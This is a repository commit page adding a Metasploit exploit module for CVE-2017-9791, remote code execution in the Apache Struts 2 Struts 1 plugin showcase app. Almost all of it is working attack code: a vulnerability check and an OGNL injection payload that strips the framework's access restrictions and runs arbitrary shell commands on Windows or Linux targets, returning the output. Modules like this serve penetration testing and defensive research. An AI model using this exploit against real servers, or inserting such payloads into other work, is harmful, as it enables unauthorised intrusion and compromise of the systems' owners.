Land #8727, CVE-2017-9791 exploit
parent
bbb5ff8ad4
commit
cbac801b88
|
@ -0,0 +1,117 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution',
|
||||||
|
'Description' => %q{ This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value. },
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'icez <ic3z at qq dot com>',
|
||||||
|
'Nixawk',
|
||||||
|
'xfer0'
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
[ 'CVE', '2017-9791' ],
|
||||||
|
[ 'BID', '99484' ],
|
||||||
|
[ 'EDB', '42324' ],
|
||||||
|
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-048' ]
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Targets' => [
|
||||||
|
[
|
||||||
|
'Universal', {
|
||||||
|
'Platform' => %w{ linux unix win },
|
||||||
|
'Arch' => [ ARCH_CMD ]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jul 07 2017',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/integration/saveGangster.action' ]),
|
||||||
|
OptString.new('POSTPARAM', [ true, 'The HTTP POST parameter', 'name' ])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_struts_request(ognl)
|
||||||
|
var_a = rand_text_alpha_lower(4)
|
||||||
|
var_b = rand_text_alpha_lower(4)
|
||||||
|
uri = normalize_uri(datastore['TARGETURI'])
|
||||||
|
|
||||||
|
data = {
|
||||||
|
datastore['POSTPARAM'] => ognl,
|
||||||
|
'age' => var_a,
|
||||||
|
'__checkbox_bustedBefore' => 'true',
|
||||||
|
'description' => var_b
|
||||||
|
}
|
||||||
|
|
||||||
|
resp = send_request_cgi({
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' => data
|
||||||
|
})
|
||||||
|
|
||||||
|
if resp && resp.code == 404
|
||||||
|
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
|
||||||
|
end
|
||||||
|
resp
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
var_a = rand_text_alpha_lower(4)
|
||||||
|
var_b = rand_text_alpha_lower(4)
|
||||||
|
ognl = "%{'#{var_a}' + '#{var_b}'}"
|
||||||
|
|
||||||
|
begin
|
||||||
|
resp = send_struts_request(ognl)
|
||||||
|
rescue Msf::Exploit::Failed
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if resp && resp.code == 200 && resp.body.include?("#{var_a}#{var_b}")
|
||||||
|
Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
resp = exec_cmd(payload.encoded)
|
||||||
|
unless resp and resp.code == 200
|
||||||
|
fail_with(Failure::Unknown, "Exploit failed.")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("Command executed")
|
||||||
|
print_line(resp.body)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exec_cmd(cmd)
|
||||||
|
ognl = "%{(#_='multipart/form-data')."
|
||||||
|
ognl << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||||
|
ognl << "(#_memberAccess?(#_memberAccess=#dm):"
|
||||||
|
ognl << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
||||||
|
ognl << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
||||||
|
ognl << "(#ognlUtil.getExcludedPackageNames().clear())."
|
||||||
|
ognl << "(#ognlUtil.getExcludedClasses().clear())."
|
||||||
|
ognl << "(#context.setMemberAccess(#dm))))."
|
||||||
|
ognl << "(#cmd='#{cmd}')."
|
||||||
|
ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
||||||
|
ognl << "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())."
|
||||||
|
ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
||||||
|
ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
|
||||||
|
|
||||||
|
send_struts_request(ognl)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue